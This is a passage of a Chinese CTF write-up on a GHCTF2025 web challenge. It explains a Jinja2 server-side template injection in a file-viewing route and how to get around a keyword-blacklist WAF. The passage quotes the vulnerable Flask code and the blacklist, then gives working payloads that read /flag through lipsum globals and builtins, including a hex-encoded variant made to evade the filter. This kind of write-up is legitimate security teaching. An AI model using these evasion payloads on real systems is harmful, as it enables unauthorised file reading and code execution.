SSTI 绕过 WAF 黑名单策略与高阶 Payload 构造实战
在 GHCTF2025 的 WEB 赛道上,一道看似简单的文件上传题目,却让不少选手陷入了'知道有洞,但 payload 总被拦截'的困境。这道题表面上是文件上传,实际上却是一场针对 SSTI(服务器端模板注入)绕过能力的深度考验。很多选手能够快速识别出 SSTI 漏洞的存在,但在面对严格的黑名单过滤时,却往往束手无策,反复尝试的 payload 都被 WAF 无情拦截。
这种情况在真实的渗透测试和 CTF 比赛中并不少见。WAF(Web 应用防火墙)的过滤规则越来越智能,传统的 {{7*7}} 测试虽然能确认漏洞,但真正要执行命令、读取文件时,那些包含 os、flag、__builtins__ 等关键词的 payload 几乎都会被第一时间拦截。这道题的精妙之处在于,它模拟了一个相对真实的防御环境——不仅过滤常见敏感词,还对下划线这种在 Python 反射中至关重要的字符进行了拦截。
1. 理解题目环境与 WAF 过滤机制
在开始构造绕过 payload 之前,我们必须先彻底理解题目设置的防御环境。很多选手失败的原因不是技术不行,而是没有仔细分析过滤规则,盲目尝试各种已知的 payload。
1.1 代码审计:识别真正的攻击面
题目虽然以文件上传为入口,但通过代码审计可以发现,上传功能本身被严格限制:
ALLOWED_EXTENSIONS = {'txt', 'log', 'text', 'md', 'jpg', 'png', 'gif'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
这是典型的白名单过滤,只允许特定扩展名的文件。更重要的是 secure_filename() 函数的使用,它会清理文件名中的特殊字符,防止路径遍历等攻击。真正的漏洞点在于文件查看功能:
tmp_str = """<!DOCTYPE html> <html lang="zh"> <head>...</head> <body> <h1>文件内容:{name}</h1> <pre>{data}</pre> </body> </html>""".format(name=safe_filename, data=file_data)
return render_template_string(tmp_str)
这里的关键是 render_template_string() 函数,它将用户控制的文件内容直接渲染为模板。如果文件内容包含 Jinja2 模板语法,就会被执行。
1.2 WAF 黑名单分析
题目中的 WAF 实现相对简单但有效:
def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__', 'flag']
with open(file_path, 'rb') as f:
file_content = str(f.read())
for keyword in dangerous_keywords:
if keyword in file_content:
return True
return False
这个过滤列表设计得相当有针对性:
| 过滤关键词 | 在 SSTI 中的作用 | 绕过难度 |
|---|---|---|
_ | 属性访问分隔符、双下划线前缀 | 高 |
os | 执行系统命令的关键模块 | 中 |
subclasses | 获取子类链的核心方法 | 高 |
__builtins__ | 内置函数和模块的入口 | 高 |
__globals__ | 访问全局命名空间 | 高 |
flag | 目标文件名 | 低 |
注意:这里的过滤是内容检测,不是参数名检测。这意味着即使我们将 payload 放在 URL 参数中,只要文件内容包含这些关键词,就会被拦截。
1.3 初步测试与漏洞确认
在构造复杂 payload 之前,先用最简单的测试确认漏洞:
# 创建测试文件
echo '{{7*7}}' > test.txt
# 上传后访问
curl http://target/file/test.txt
如果返回的页面中显示 49 而不是 {{7*7}},就确认了 SSTI 漏洞的存在。这个测试 payload 不包含任何黑名单关键词,所以能顺利通过 WAF。
2. 基础绕过技术:编码与字符串操作
当直接使用敏感关键词被拦截时,最直接的思路就是不让这些关键词以明文形式出现。编码和字符串操作是绕过关键词过滤的经典方法。
2.1 十六进制编码绕过
Python 和 Jinja2 都支持十六进制表示法,这为我们绕过关键词检测提供了可能。在 Python 字符串中,\x 后跟两个十六进制数字表示一个字符。
原始 payload(会被拦截):
{{ lipsum.__globals__.__builtins__.open('/flag').read() }}
十六进制编码版本:
{{ lipsum["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["open"]("/fla\x67").read() }}

